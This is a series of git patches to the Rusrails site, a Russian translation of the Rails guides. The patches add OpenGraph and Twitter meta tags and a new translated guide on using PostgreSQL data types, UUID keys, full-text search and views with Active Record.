@@ end WARNING: Не следует делать `rescue_from Exception` или `rescue_from StandardError`, если у вас нет веской причины, так как это вызовет серьезные сторонние эффекты (например, вы не сможете увидеть подробности и трейс исключения при разработке). -NOTE: Некоторые исключения перехватываемы только из класса `ApplicationController`, так как они вызываются до того, как контроллер будет инициализирован, и экшны будут выполнены. Смотрите [статью Pratik Naik](http://m.onkey.org/2008/7/20/rescue-from-dispatching) по этой теме. +NOTE: Некоторые исключения перехватываемы только из класса `ApplicationController`, так как они вызываются до того, как контроллер будет инициализирован, и экшны будут выполнены. Навязывание протокола HTTPS --------------------------- diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index b7dffffc..9878183a 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -624,6 +624,8 @@ config.action_mailer.smtp_settings = { enable_starttls_auto: true } ``` +NOTE. 15 июля 2014 Google усилили [меры безопасности](https://support.google.com/accounts/answer/6010255) и теперь блокируют попытки от приложений, которые они сочтут небезопасными. Вы можете изменить ваши настройки gmail [здесь](https://www.google.com/settings/security/lesssecureapps), чтобы позволить попытки, или использовать другой почтовый провайдер (ESP, email service provider) для отправки почты, заменив выше 'smtp.gmail.com' на адрес вашего провайдера. + Тестирование рассыльщика ------------------------ diff --git a/source/index.yml b/source/index.yml index 85ce84d2..4604b2a5 100644 --- a/source/index.yml +++ b/source/index.yml @@ -81,8 +81,8 @@ pages: - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md - revision: 72c5b517d49fcf11de180d1e1ff87bdd2eb0df59 - date: 05/05/2015 + revision: 10c73386ae21102334af6827b70e7e344a167a5b + date: 23/08/2015 - title: Роутинг в Rails path: rails-routing @@ -93,8 +93,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 9876a16904f817e11713bc85479dd70da1de454b - date: 30/07/2015 + revision: bc36ffeec05692777f4ece09978a321feed2d818 + date: 24/08/2015 - title: Инструметарий Active Support path: active-support-instrumentation @@ -111,8 +111,8 @@ pages: - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md - revision: 9cc438f5596a519bdccc36cd0763feb72040e45b - date: 03/07/2015 + revision: 1896be9741acedfab315cec8f024094c08ec46ae + date: 08/08/2015 - title: Основы Active Job path: active_job_basics From 233cc50314334689b8306208a85b3941ce6c8168 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 19:54:04 +0300 Subject: [PATCH 094/932] Added a opengraph metadata --- app/views/layouts/application.html.haml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 615e16ec..d4f5155e 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -2,7 +2,13 @@ %html %head %meta{name: "keywords", content: "ruby on rails, Ruby, Rails, Rails3, Rails4, Rails 4.0, Rails 4.1 Rails 4.2 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} - %meta{name: "description", content: "Ruby on Rails русские руководства, учебники, статьи"} + + %meta{property: "og:type", content: "article"} + %meta{property: "og:title", content: title} + %meta{property: "og:description", content: "Ruby on Rails русские руководства, учебники, статьи"} + %meta{property: "og:url", content: request.original_url} + %meta{property: "og:image", content: '/assets/rusrails.png'} + %title= title = stylesheet_link_tag "application" = csrf_meta_tag From 3131a35dd07b2a432c7e3b4afaecc1a65308f520 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 20:31:54 +0300 Subject: [PATCH 095/932] Added a opengraph config --- app/helpers/application_helper.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index 788b47b6..c0f2d469 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -7,4 +7,13 @@ def title "Rusrails: Ruby on Rails по-русски" end end + + def opengraph_config + { og_type: "website", + og_title: title, + og_description: "Ruby on Rails русские руководства, учебники, статьи", + og_url: request.original_url, + og_image: "http://www.http//rusrails.ru/assets/rusrails.png" + } + end end From 590032688e75dc11e130a7e82a71d9d7b985cc19 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 20:32:17 +0300 Subject: [PATCH 096/932] Added opengraph metadata --- app/views/layouts/application.html.haml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index d4f5155e..f172a94d 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -3,11 +3,11 @@ %head %meta{name: "keywords", content: "ruby on rails, Ruby, Rails, Rails3, Rails4, Rails 4.0, Rails 4.1 Rails 4.2 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} - %meta{property: "og:type", content: "article"} - %meta{property: "og:title", content: title} - %meta{property: "og:description", content: "Ruby on Rails русские руководства, учебники, статьи"} - %meta{property: "og:url", content: request.original_url} - %meta{property: "og:image", content: '/assets/rusrails.png'} + %meta{property: "og:type", content: opengraph_config[:og_type]} + %meta{property: "og:title", content: opengraph_config[:og_title]} + %meta{property: "og:description", content: opengraph_config[:og_description]} + %meta{property: "og:url", content: opengraph_config[:og_url]} + %meta{property: "og:image", content: opengraph_config[:og_image]} %title= title = stylesheet_link_tag "application" From 384b94ffb837d36d4373db9012d4cb6232675eda Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 20:37:00 +0300 Subject: [PATCH 097/932] Fixed og_image url value --- app/helpers/application_helper.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index c0f2d469..073cf8d1 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -13,7 +13,7 @@ def opengraph_config og_title: title, og_description: "Ruby on Rails русские руководства, учебники, статьи", og_url: request.original_url, - og_image: "http://www.http//rusrails.ru/assets/rusrails.png" + og_image: "http://rusrails.ru/assets/rusrails.png" } end end From 04817746fe857e925fc25ab8b86aca2c902f7813 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 21:01:19 +0300 Subject: [PATCH 098/932] Added twitter card metadata --- app/views/layouts/application.html.haml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index f172a94d..b4a76fef 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -9,6 +9,12 @@ %meta{property: "og:url", content: opengraph_config[:og_url]} %meta{property: "og:image", content: opengraph_config[:og_image]} + %meta{property: "twitter:card:", content: "summary"} + %meta{property: "twitter:title", content: opengraph_config[:og_title]} + %meta{property: "twitter:description", content: opengraph_config[:og_description]} + %meta{property: "twitter:url", content: opengraph_config[:og_url]} + %meta{property: "twitter:image", content: opengraph_config[:og_image]} + %title= title = stylesheet_link_tag "application" = csrf_meta_tag From cfd5f198b9c25ce0abc100680d80e4aeb0f2cb33 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 21:09:32 +0300 Subject: [PATCH 099/932] Removed twitter cart metatags? added prefix ho thml tag --- app/views/layouts/application.html.haml | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index b4a76fef..94c629f8 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -1,5 +1,5 @@ !!! -%html +%html(prefix="og: http://ogp.me/ns#") %head %meta{name: "keywords", content: "ruby on rails, Ruby, Rails, Rails3, Rails4, Rails 4.0, Rails 4.1 Rails 4.2 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} @@ -9,12 +9,6 @@ %meta{property: "og:url", content: opengraph_config[:og_url]} %meta{property: "og:image", content: opengraph_config[:og_image]} - %meta{property: "twitter:card:", content: "summary"} - %meta{property: "twitter:title", content: opengraph_config[:og_title]} - %meta{property: "twitter:description", content: opengraph_config[:og_description]} - %meta{property: "twitter:url", content: opengraph_config[:og_url]} - %meta{property: "twitter:image", content: opengraph_config[:og_image]} - %title= title = stylesheet_link_tag "application" = csrf_meta_tag From 57b1363df8e5ba6fdf0c991f30420d3827cc8882 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 21:19:13 +0300 Subject: [PATCH 100/932] Added back description, also twitter:card --- app/views/layouts/application.html.haml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 94c629f8..a0aa5285 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -2,6 +2,12 @@ %html(prefix="og: http://ogp.me/ns#") %head %meta{name: "keywords", content: "ruby on rails, Ruby, Rails, Rails3, Rails4, Rails 4.0, Rails 4.1 Rails 4.2 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} + %meta{name: "description", content: "Ruby on Rails русские руководства, учебники, статьи"} + + %meta{property: "twitter:card", content: "product"} + %meta{property: "twitter:title", content: opengraph_config[:og_title]} + %meta{property: "twitter:description", content: opengraph_config[:og_description]} + %meta{property: "twitter:image", content: opengraph_config[:og_image]} %meta{property: "og:type", content: opengraph_config[:og_type]} %meta{property: "og:title", content: opengraph_config[:og_title]} From 637fbadae69622de07b51028b7294650e9998331 Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 21:24:37 +0300 Subject: [PATCH 101/932] Updated twitter card metadata --- app/views/layouts/application.html.haml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index a0aa5285..5bd6ed72 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -5,15 +5,17 @@ %meta{name: "description", content: "Ruby on Rails русские руководства, учебники, статьи"} %meta{property: "twitter:card", content: "product"} + %meta{property: "twitter:site", content: "@rails"} %meta{property: "twitter:title", content: opengraph_config[:og_title]} %meta{property: "twitter:description", content: opengraph_config[:og_description]} + %meta{property: "twitter:creator", content: "@rails"} %meta{property: "twitter:image", content: opengraph_config[:og_image]} %meta{property: "og:type", content: opengraph_config[:og_type]} %meta{property: "og:title", content: opengraph_config[:og_title]} %meta{property: "og:description", content: opengraph_config[:og_description]} %meta{property: "og:url", content: opengraph_config[:og_url]} - %meta{property: "og:image", content: opengraph_config[:og_image]} + %meta{property: "og:image:src", content: opengraph_config[:og_image]} %title= title = stylesheet_link_tag "application" From 467b94d546bb026c70726c34f6c273b4d624609b Mon Sep 17 00:00:00 2001 From: dipiash Date: Fri, 4 Sep 2015 21:32:21 +0300 Subject: [PATCH 102/932] Fixed error? after yandex validator for og --- app/views/layouts/application.html.haml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 5bd6ed72..222af300 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -15,7 +15,7 @@ %meta{property: "og:title", content: opengraph_config[:og_title]} %meta{property: "og:description", content: opengraph_config[:og_description]} %meta{property: "og:url", content: opengraph_config[:og_url]} - %meta{property: "og:image:src", content: opengraph_config[:og_image]} + %meta{property: "og:image", content: opengraph_config[:og_image]} %title= title = stylesheet_link_tag "application" From e54af65ae560576cc1b9aa61d4f68089ac731f43 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Fri, 4 Sep 2015 23:28:53 +0400 Subject: [PATCH 103/932] =?UTF-8?q?Move=20meta=20info=20to=20partial=20and?= =?UTF-8?q?=20change=20"=D1=80=D1=83=D1=81=D1=81=D0=BA=D0=B8=D0=B5=20?= =?UTF-8?q?=D1=80=D1=83=D0=BA-=D0=B2=D0=B0"=20to=20"=D1=80=D1=83=D0=BA-?= =?UTF-8?q?=D0=B2=D0=B0=20=D0=BD=D0=B0=20=D1=80=D1=83=D1=81=D1=81=D0=BA?= =?UTF-8?q?=D0=BE=D0=BC=20=D1=8F=D0=B7=D1=8B=D0=BA=D0=B5"?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- app/helpers/application_helper.rb | 5 +++-- app/views/layouts/application.html.haml | 17 +---------------- app/views/shared/_meta_info.html.haml | 15 +++++++++++++++ 3 files changed, 19 insertions(+), 18 deletions(-) create mode 100644 app/views/shared/_meta_info.html.haml diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index 073cf8d1..4a607b9d 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -9,9 +9,10 @@ def title end def opengraph_config - { og_type: "website", + { + og_type: "website", og_title: title, - og_description: "Ruby on Rails русские руководства, учебники, статьи", + og_description: "Ruby on Rails руководства, учебники, статьи на русском языке", og_url: request.original_url, og_image: "http://rusrails.ru/assets/rusrails.png" } diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 222af300..d02c8ed2 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -1,22 +1,7 @@ !!! %html(prefix="og: http://ogp.me/ns#") %head - %meta{name: "keywords", content: "ruby on rails, Ruby, Rails, Rails3, Rails4, Rails 4.0, Rails 4.1 Rails 4.2 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} - %meta{name: "description", content: "Ruby on Rails русские руководства, учебники, статьи"} - - %meta{property: "twitter:card", content: "product"} - %meta{property: "twitter:site", content: "@rails"} - %meta{property: "twitter:title", content: opengraph_config[:og_title]} - %meta{property: "twitter:description", content: opengraph_config[:og_description]} - %meta{property: "twitter:creator", content: "@rails"} - %meta{property: "twitter:image", content: opengraph_config[:og_image]} - - %meta{property: "og:type", content: opengraph_config[:og_type]} - %meta{property: "og:title", content: opengraph_config[:og_title]} - %meta{property: "og:description", content: opengraph_config[:og_description]} - %meta{property: "og:url", content: opengraph_config[:og_url]} - %meta{property: "og:image", content: opengraph_config[:og_image]} - + = render 'shared/meta_info' %title= title = stylesheet_link_tag "application" = csrf_meta_tag diff --git a/app/views/shared/_meta_info.html.haml b/app/views/shared/_meta_info.html.haml new file mode 100644 index 00000000..cb705274 --- /dev/null +++ b/app/views/shared/_meta_info.html.haml @@ -0,0 +1,15 @@ +%meta{name: "keywords", content: "Ruby on Rails, Ruby, Rails, Rails 3, Rails 4, Rails 4.0, Rails 4.1 Rails 4.2 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} +%meta{name: "description", content: "Ruby on Rails руководства, учебники, статьи на русском языке"} + +%meta{property: "twitter:card", content: "product"} +%meta{property: "twitter:site", content: "@rusrails"} +%meta{property: "twitter:title", content: opengraph_config[:og_title]} +%meta{property: "twitter:description", content: opengraph_config[:og_description]} +%meta{property: "twitter:creator", content: "@rusrails"} +%meta{property: "twitter:image", content: opengraph_config[:og_image]} + +%meta{property: "og:type", content: opengraph_config[:og_type]} +%meta{property: "og:title", content: opengraph_config[:og_title]} +%meta{property: "og:description", content: opengraph_config[:og_description]} +%meta{property: "og:url", content: opengraph_config[:og_url]} +%meta{property: "og:image", content: opengraph_config[:og_image]} From 6d08168befba2ee2a4d50f58885f26af436f6cc3 Mon Sep 17 00:00:00 2001 From: Marat Khusnetdinov Date: Wed, 22 Jul 2015 23:39:39 +0300 Subject: [PATCH 104/932] [active_support_postgresql] translation [active_support_postgresql] fixes [active_support_postgresql] update [active_support_postgresql] update + fixes [active_support_postgresql] more fixes [active_support_postgresql] fixes [active_support_postgresql] fixes --- source/active_record_postgresql.md | 462 +++++++++++++++++++++++++++++ source/index.md | 1 + source/index.yml | 6 + source/menu.md | 1 + 4 files changed, 470 insertions(+) create mode 100644 source/active_record_postgresql.md diff --git a/source/active_record_postgresql.md b/source/active_record_postgresql.md new file mode 100644 index 00000000..b9e333fb --- /dev/null +++ b/source/active_record_postgresql.md @@ -0,0 +1,462 @@ +Active Record для PostgreSQL +============================ + +Данное руководство рассказывает о специфике использования PostgreSQL с Active Record. + +После прочтения этого руководства, вы узнаете о том: + +* Как использовать типы данных PostgreSQL. +* Как использовать первичные UUID ключи. +* Как сделать поиск по всему тексту, используя PostgreSQL. +* Как возвращать ваши модели Active Record, используя представление базы данных. + +-------------------------------------------------------------------------------- + +Для использования адаптера PostgreSQL вам необходимо как минимум использовать установленную версию 8.2. +Предыдущие версии не поддерживаются. + + +Для начала работы с PostgreSQL взгляните на +[Конфигурирование приложений на Rails](configuring.html#konfigurirovanie-bazy-dannyh-postgresql). +Там описано как правильно настроить Active Record для PostgreSQL. + +Типы данных (Datatypes) +--------- + +PostgreSQL предлагает достаточное количество специфичных типов данных. Далее представлен список типов, которые поддерживаются адаптером PostgreSQL. + +### Bytea + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-binary.html) +* [Функции и операторы](http://www.postgresql.org/docs/current/static/functions-binarystring.html) + +```ruby +# db/migrate/20140207133952_create_documents.rb +create_table :documents do |t| + t.binary 'payload' +end + +# app/models/document.rb +class Document < ActiveRecord::Base +end + +# Использование +data = File.read(Rails.root + "tmp/output.pdf") +Document.create payload: data +``` + +### Массив (Array) + +* [Определение типа](http://www.postgresql.org/docs/current/static/arrays.html) +* [Функции и операторы](http://www.postgresql.org/docs/current/static/functions-array.html) + +```ruby +# db/migrate/20140207133952_create_books.rb +create_table :books do |t| + t.string 'title' + t.string 'tags', array: true + t.integer 'ratings', array: true +end +add_index :books, :tags, using: 'gin' +add_index :books, :ratings, using: 'gin' + +# app/models/book.rb +class Book < ActiveRecord::Base +end + +# Использование +Book.create title: "Brave New World", + tags: ["fantasy", "fiction"], + ratings: [4, 5] + +## Книги с одним тегои +Book.where("'fantasy' = ANY (tags)") + +## Книги с несколькими тегами +Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"]) + +## Книги с рейтином больше 3 +Book.where("array_length(ratings, 1) >= 3") +``` + +### Hstore + +* [Определение типа](http://www.postgresql.org/docs/current/static/hstore.html) + +NOTE: вам необходимо включить расширение `hstore` для использования hstore. + +```ruby +# db/migrate/20131009135255_create_profiles.rb +ActiveRecord::Schema.define do + enable_extension 'hstore' unless extension_enabled?('hstore') + create_table :profiles do |t| + t.hstore 'settings' + end +end + +# app/models/profile.rb +class Profile < ActiveRecord::Base +end + +# Использование +Profile.create(settings: { "color" => "blue", "resolution" => "800x600" }) + +profile = Profile.first +profile.settings # => {"color"=>"blue", "resolution"=>"800x600"} + +profile.settings = {"color" => "yellow", "resolution" => "1280x1024"} +profile.save! +``` + +### JSON + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-json.html) +* [Функции и операторы](http://www.postgresql.org/docs/current/static/functions-json.html) + +```ruby +# db/migrate/20131220144913_create_events.rb +create_table :events do |t| + t.json 'payload' +end + +# app/models/event.rb +class Event < ActiveRecord::Base +end + +# Использование +Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]}) + +event = Event.first +event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]} + +## Запрос, основанный на JSON документе +# Оператор -> возвращает исходный JSON тип (который может быть объектом), где ->> возвращает текст +Event.where("payload->>'kind' = ?", "user_renamed") +``` + +### Диапазон (Range Types) + +* [Определение типа](http://www.postgresql.org/docs/current/static/rangetypes.html) +* [Функции и операторы](http://www.postgresql.org/docs/current/static/functions-range.html) + +Данный тип преобразуется в Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) объекты. + +```ruby +# db/migrate/20130923065404_create_events.rb +create_table :events do |t| + t.daterange 'duration' +end + +# app/models/event.rb +class Event < ActiveRecord::Base +end + +# Использование +Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12)) + +event = Event.first +event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014 + +## Все события в данную дату +Event.where("duration @> ?::date", Date.new(2014, 2, 12)) + +## Работает с цепочкой связей +event = Event. + select("lower(duration) AS starts_at"). + select("upper(duration) AS ends_at").first + +event.starts_at # => Tue, 11 Feb 2014 +event.ends_at # => Thu, 13 Feb 2014 +``` + +### Составной тип (Composite Types) + +* [Определение типа](http://www.postgresql.org/docs/current/static/rowtypes.html) + +На данный момент нет специальной поддержки для составных типов. Они преобразуются к нормальным текстовым столбцам: + +```sql +CREATE TYPE full_address AS +( + city VARCHAR(90), + street VARCHAR(90) +); +``` + +```ruby +# db/migrate/20140207133952_create_contacts.rb +execute <<-SQL + CREATE TYPE full_address AS + ( + city VARCHAR(90), + street VARCHAR(90) + ); +SQL +create_table :contacts do |t| + t.column :address, :full_address +end + +# app/models/contact.rb +class Contact < ActiveRecord::Base +end + +# Использование +Contact.create address: "(Paris,Champs-Élysées)" +contact = Contact.first +contact.address # => "(Paris,Champs-Élysées)" +contact.address = "(Paris,Rue Basse)" +contact.save! +``` + +### Перечисляемые типы (Enumerated Types) + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-enum.html) + +На данный момент нет специальной поддержки для перечисляемых типов. Они преобразуются к нормальным текстовым столбцам: + +```ruby +# db/migrate/20131220144913_create_articles.rb +execute <<-SQL + CREATE TYPE article_status AS ENUM ('draft', 'published'); +SQL +create_table :articles do |t| + t.column :status, :article_status +end + +# app/models/article.rb +class Article < ActiveRecord::Base +end + +# Использование +Article.create status: "draft" +article = Article.first +article.status # => "draft" + +article.status = "published" +article.save! +``` + +### UUID + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-uuid.html) +* [pgcrypto generator function](http://www.postgresql.org/docs/current/static/pgcrypto.html#AEN159361) +* [uuid-ossp generator functions](http://www.postgresql.org/docs/current/static/uuid-ossp.html) + +NOTE: Вам необходимо включить `pgcrypto` (только PostgreSQL >= 9.4) расширение для использования uuid. + +```ruby +# db/migrate/20131220144913_create_revisions.rb +create_table :revisions do |t| + t.uuid :identifier +end + +# app/models/revision.rb +class Revision < ActiveRecord::Base +end + +# Использование +Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11" + +revision = Revision.first +revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11" +``` + +Вы можете использовать `uuid` тип для определения ссылок в миграции: + +```ruby +# db/migrate/20150418012400_create_blog.rb +enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') +create_table :posts, id: :uuid, default: 'gen_random_uuid()' + +create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t| + # t.belongs_to :post, type: :uuid + t.references :post, type: :uuid +end + +# app/models/post.rb +class Post < ActiveRecord::Base + has_many :comments +end + +# app/models/comment.rb +class Comment < ActiveRecord::Base + belongs_to :post +end +``` + +Смотрите [эту секцию](#uuid-primary-keys) с более подробными деталями, как использовать UUIDs как первичного ключа. + +### Битовая строка (Bit String Types) + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-bit.html) +* [Функции и операторы](http://www.postgresql.org/docs/current/static/functions-bitstring.html) + +```ruby +# db/migrate/20131220144913_create_users.rb +create_table :users, force: true do |t| + t.column :settings, "bit(8)" +end + +# app/models/device.rb +class User < ActiveRecord::Base +end + +# Использование +User.create settings: "01010011" +user = User.first +user.settings # => "01010011" +user.settings = "0xAF" +user.settings # => 10101111 +user.save! +``` + +### Адреса в сети (Network Address Types) + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-net-types.html) + +Типы `inet` и `cidr` типы преобразуются в Ruby объекты +[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html) +Тип `macaddr` преобразуется в нормальный текст. + +```ruby +# db/migrate/20140508144913_create_devices.rb +create_table(:devices, force: true) do |t| + t.inet 'ip' + t.cidr 'network' + t.macaddr 'address' +end + +# app/models/device.rb +class Device < ActiveRecord::Base +end + +# Использование +macbook = Device.create(ip: "192.168.1.12", + network: "192.168.2.0/24", + address: "32:01:16:6d:05:ef") + +macbook.ip +# => # + +macbook.network +# => # + +macbook.address +# => "32:01:16:6d:05:ef" +``` + +### Геометрический тип данных (Geometric Types) + +* [Определение типа](http://www.postgresql.org/docs/current/static/datatype-geometric.html) + +Все геометрические типы данных, за исключением `points` преобразуются в нормальный текст. +А `point` тип соответствует массиву, содержащему координаты `x` и `y`. + +(uuid-primary-keys) UUID первичные ключи +-------------------- + +NOTE: вам необходимо включить `pgcrypto` (только PostgreSQL >= 9.4) или `uuid-ossp` расширение для генерации случайных UUIDs. + +```ruby +# db/migrate/20131220144913_create_devices.rb +enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') +create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t| + t.string :kind +end + +# app/models/device.rb +class Device < ActiveRecord::Base +end + +# Использование +device = Device.create +device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e" +``` + +NOTE: `uuid_generate_v4()` (from `uuid-ossp`) is assumed if no `:default` option was passed to `create_table`. + +NOTE: `uuid_generate_v4()` (из `uuid-ossp`) предполагает, что при отсутствии опции `:default` передается в `create_table`. + +Поиск по всему тексту +--------------------- + +```ruby +# db/migrate/20131220144913_create_documents.rb +create_table :documents do |t| + t.string 'title' + t.string 'body' +end + +execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));" + +# app/models/document.rb +class Document < ActiveRecord::Base +end + +# Использование +Document.create(title: "Cats and Dogs", body: "are nice!") + +## Все документы совпадающие с 'cat & dog' +Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)", + "cat & dog") +``` + +Представление базы данных +------------------ + +* [view creation](http://www.postgresql.org/docs/current/static/sql-createview.html) + +Представим, что вам надо работать со старой базой данных, содержащей следующую таблицу: + +``` +rails_pg_guide=# \d "TBL_ART" + Table "public.TBL_ART" + Column | Type | Modifiers +------------+-----------------------------+------------------------------------------------------------ + INT_ID | integer | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass) + STR_TITLE | character varying | + STR_STAT | character varying | default 'draft'::character varying + DT_PUBL_AT | timestamp without time zone | + BL_ARCH | boolean | default false +Indexes: + "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID") +``` + +Данная таблица не следует общепринятым Rails соглашениям. +Т.к. простые представление PostgreSQL обновляются по умолчанию, то мы можем их обернуть, как дальше: + +```ruby +# db/migrate/20131220144913_create_articles_view.rb +execute <<-SQL +CREATE VIEW articles AS + SELECT "INT_ID" AS id, + "STR_TITLE" AS title, + "STR_STAT" AS status, + "DT_PUBL_AT" AS published_at, + "BL_ARCH" AS archived + FROM "TBL_ART" + WHERE "BL_ARCH" = 'f' + SQL + +# app/models/article.rb +class Article < ActiveRecord::Base + self.primary_key = "id" + def archive! + update_attribute :archived, true + end +end + +# Использование +first = Article.create! title: "Winter is coming", + status: "published", + published_at: 1.year.ago +second = Article.create! title: "Brace yourself", + status: "draft", + published_at: 1.month.ago + +Article.count # => 1 +first.archive! +Article.count # => 2 +``` + +NOTE: Данное приложение описывает `Articles` не в архиве. Представление также работают с состояниями, так что мы можем исключить `Articles`, которые в архиве, напрямую. \ No newline at end of file diff --git a/source/index.md b/source/index.md index e74b2b93..5f822b8d 100644 --- a/source/index.md +++ b/source/index.md @@ -28,6 +28,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Колбэки Active Record](/active-record-callbacks) := Это руководство раскрывает, как вы можете применять колбэки (методы обратного вызова) Active Record. - [Связи (ассоциации) Active Record](/active-record-associations) := Это руководство раскрывает все связи, предоставленные Active Record. - [Интерфейс запросов Active Record](/active-record-query-interface) := Это руководство раскрывает интерфейс запросов к базе данных, предоставленный Active Record. +- [Active Record для PostgreSQL](/active-record-query-interface) := Это руководство рассказывает о специфике использования PostgreSQL с Active Record. - [Основы Active Model](/active-model-basics) := Это руководство познакомит вас со всем, что вам надо для начала использования моделей классов Active Model. ## Вьюхи diff --git a/source/index.yml b/source/index.yml index 90341d49..2fe5c78f 100644 --- a/source/index.yml +++ b/source/index.yml @@ -50,6 +50,12 @@ pages: revision: 8ac458ad2e252ba041d9f4e42b94bd5997a622be date: 14/04/2015 + - title: Active Record для PostgreSQL + path: active-record-postgresql + file: active_record_postgresql.md + revision: c0747e2f39a1c040c50e63fb41e23dfa6e30f2fc + date: 08/08/2015 + - title: Основы Active Model path: active-model-basics file: active_model_basics.md diff --git a/source/menu.md b/source/menu.md index d9acc249..92a50119 100644 --- a/source/menu.md +++ b/source/menu.md @@ -10,6 +10,7 @@ * [Колбэки Active Record](/active-record-callbacks) * [Связи (ассоциации) Active Record](/active-record-associations) * [Интерфейс запросов Active Record](/active-record-query-interface) + * [Active Record для PostgreSQL](/active-record-query-interface) * [Основы Active Model](/active-model-basics) * **Вьюхи** From f90c66408aeee0d195ab8b156d4a014ebd65520a Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Tue, 15 Sep 2015 23:15:41 +0300 Subject: [PATCH 105/932] fux urls --- source/active_record_postgresql.md | 16 ++++++++-------- source/index.md | 2 +- source/menu.md | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/source/active_record_postgresql.md b/source/active_record_postgresql.md index b9e333fb..b58c5443 100644 --- a/source/active_record_postgresql.md +++ b/source/active_record_postgresql.md @@ -6,9 +6,9 @@ Active Record для PostgreSQL После прочтения этого руководства, вы узнаете о том: * Как использовать типы данных PostgreSQL. -* Как использовать первичные UUID ключи. +* Как использовать первичные UUID ключи. * Как сделать поиск по всему тексту, используя PostgreSQL. -* Как возвращать ваши модели Active Record, используя представление базы данных. +* Как возвращать ваши модели Active Record, используя представление базы данных. -------------------------------------------------------------------------------- @@ -17,7 +17,7 @@ Active Record для 